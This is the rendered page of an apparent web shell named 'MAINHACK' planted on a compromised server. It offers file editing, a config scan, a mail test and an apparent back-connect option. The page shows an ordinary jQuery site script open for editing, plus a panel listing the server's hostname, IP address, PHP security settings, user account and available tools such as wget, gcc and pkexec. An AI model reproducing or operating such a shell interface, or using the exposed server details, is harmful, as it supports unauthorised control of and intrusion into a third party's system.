[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: script.js
// some scripts // jquery ready start $(document).ready(function() { // jQuery code /* /////////////////////////////////////// THESE FOLLOWING SCRIPTS ONLY FOR BASIC USAGE, For sliders, interactions and other */ /////////////////////////////////////// //////////////////////// Prevent closing from click inside dropdown $(document).on('click', '.dropdown-menu', function (e) { e.stopPropagation(); }); ///////////////// fixed menu on scroll for desctop if ($(window).width() > 768) { $(window).scroll(function(){ if ($(this).scrollTop() > 125) { $('.navbar-landing').addClass("fixed-top"); }else{ $('.navbar-landing').removeClass("fixed-top"); } }); } // end if //////////////////////// Fancybox. /plugins/fancybox/ if($("[data-fancybox]").length>0) { // check if element exists $("[data-fancybox]").fancybox(); } // end if //////////////////////// Bootstrap tooltip if($('[data-toggle="tooltip"]').length>0) { // check if element exists $('[data-toggle="tooltip"]').tooltip() } // end if /////////////////////// Closes the Responsive Menu on Menu Item Click $('.navbar-collapse ul li a.page-scroll').click(function() { $('.navbar-toggler:visible').click(); }); //////////////////////// Menu scroll to section for landing $('a.page-scroll').click(function(event) { var $anchor = $(this); $('html, body').stop().animate({ scrollTop: $($anchor.attr('href')).offset().top - 50 }, 1000); event.preventDefault(); }); ///////////////// items slider. /plugins/slickslider/ if ($('.slick-slider').length > 0) { // check if element exists $('.slick-slider').slick(); } // end if ///////////////// items carousel. /plugins/owlcarousel/ if ($('.owl-init').length > 0) { // check if element exists $(".owl-init").each(function(){ var myOwl = $(this); var data_items = myOwl.data('items'); var data_nav = myOwl.data('nav'); var data_dots = myOwl.data('dots'); var data_margin = myOwl.data('margin'); var data_custom_nav = myOwl.data('custom-nav'); var id_owl = myOwl.attr('id'); myOwl.owlCarousel({ loop: true, margin: data_margin, nav: eval(data_nav), dots: eval(data_dots), autoplay: false, items: data_items, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], //items: 4, responsive: { 0: { items: 1 }, 600: { items: data_items }, 1000: { items: data_items } } }); // for custom navigation. See example page: example-sliders.html $('.'+data_custom_nav+'.owl-custom-next').click(function(){ $('#'+id_owl).trigger('next.owl.carousel'); }); $('.'+data_custom_nav+'.owl-custom-prev').click(function(){ $('#'+id_owl).trigger('prev.owl.carousel'); }); }); // each end.// } // end if }); // jquery end
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002